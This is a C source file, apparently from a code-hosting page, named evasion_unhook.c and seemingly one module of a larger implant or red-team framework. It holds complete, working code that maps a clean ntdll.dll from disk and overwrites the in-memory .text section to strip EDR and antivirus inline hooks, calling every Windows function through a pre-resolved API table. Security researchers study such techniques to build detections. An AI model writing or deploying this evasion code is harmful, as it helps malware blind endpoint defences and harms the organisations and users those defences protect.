81 lines
2.6 KiB
C
81 lines
2.6 KiB
C
/**
|
|||
|
|
* evasion_unhook.c — NTDLL unhooking
|
||
|
|
*
|
||
|
|
* Reads a clean copy of ntdll.dll from disk and overwrites the .text
|
||
|
|
* section of the in-memory ntdll, removing any EDR/AV inline hooks.
|
||
|
|
*/
|
||
|
|
|
||
|
|
#include <windows.h>
|
||
|
|
#include <stdint.h>
|
||
|
|
|
||
|
|
#include "api_resolve.h"
|
||
|
|
|
||
|
|
#ifdef EVASION_UNHOOK_NTDLL
|
||
|
|
|
||
|
|
void evasion_unhook_init(void) {
|
||
|
|
/* Get handle to the in-memory ntdll from pre-resolved base */
|
||
|
|
HMODULE hNtdll = (HMODULE)g_api.ntdll_base;
|
||
|
|
if (!hNtdll) return;
|
||
|
|
|
||
|
|
/* Build path to ntdll on disk */
|
||
|
|
char path[MAX_PATH];
|
||
|
|
g_api.pGetSystemDirectoryA(path, sizeof(path));
|
||
|
|
g_api.plstrcatA(path, "\\ntdll.dll");
|
||
|
|
|
||
|
|
/* Read clean ntdll from disk */
|
||
|
|
HANDLE hFile = g_api.pCreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||
|
|
OPEN_EXISTING, 0, NULL);
|
||
|
|
if (hFile == INVALID_HANDLE_VALUE) return;
|
||
|
|
|
||
|
|
DWORD file_size = g_api.pGetFileSize(hFile, NULL);
|
||
|
|
if (file_size == INVALID_FILE_SIZE || file_size == 0) {
|
||
|
|
g_api.pCloseHandle(hFile);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
/* Map the file */
|
||
|
|
HANDLE hMap = g_api.pCreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
|
||
|
|
if (!hMap) {
|
||
|
|
g_api.pCloseHandle(hFile);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
LPVOID pClean = g_api.pMapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
|
||
|
|
if (!pClean) {
|
||
|
|
g_api.pCloseHandle(hMap);
|
||
|
|
g_api.pCloseHandle(hFile);
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
|
||
|
|
/* Parse PE headers to find .text section */
|
||
|
|
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)hNtdll;
|
||
|
|
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((uint8_t *)hNtdll + dos->e_lfanew);
|
||
|
|
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||
|
|
|
||
|
|
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
||
|
|
if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
|
||
|
|
sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
|
||
|
|
sec[i].Name[4] == 't') {
|
||
|
|
|
||
|
|
/* Found .text section */
|
||
|
|
LPVOID text_mem = (uint8_t *)hNtdll + sec[i].VirtualAddress;
|
||
|
|
LPVOID text_disk = (uint8_t *)pClean + sec[i].PointerToRawData;
|
||
|
|
DWORD text_size = sec[i].SizeOfRawData;
|
||
|
|
|
||
|
|
/* Make writable, overwrite, restore protection */
|
||
|
|
DWORD old_protect;
|
||
|
|
if (g_api.pVirtualProtect(text_mem, text_size, PAGE_EXECUTE_READWRITE, &old_protect)) {
|
||
|
|
memcpy(text_mem, text_disk, text_size);
|
||
|
|
g_api.pVirtualProtect(text_mem, text_size, old_protect, &old_protect);
|
||
|
|
}
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
g_api.pUnmapViewOfFile(pClean);
|
||
|
|
g_api.pCloseHandle(hMap);
|
||
|
|
g_api.pCloseHandle(hFile);
|
||
|
|
}
|
||
|
|
|
||
|
|
#endif /* EVASION_UNHOOK_NTDLL */
|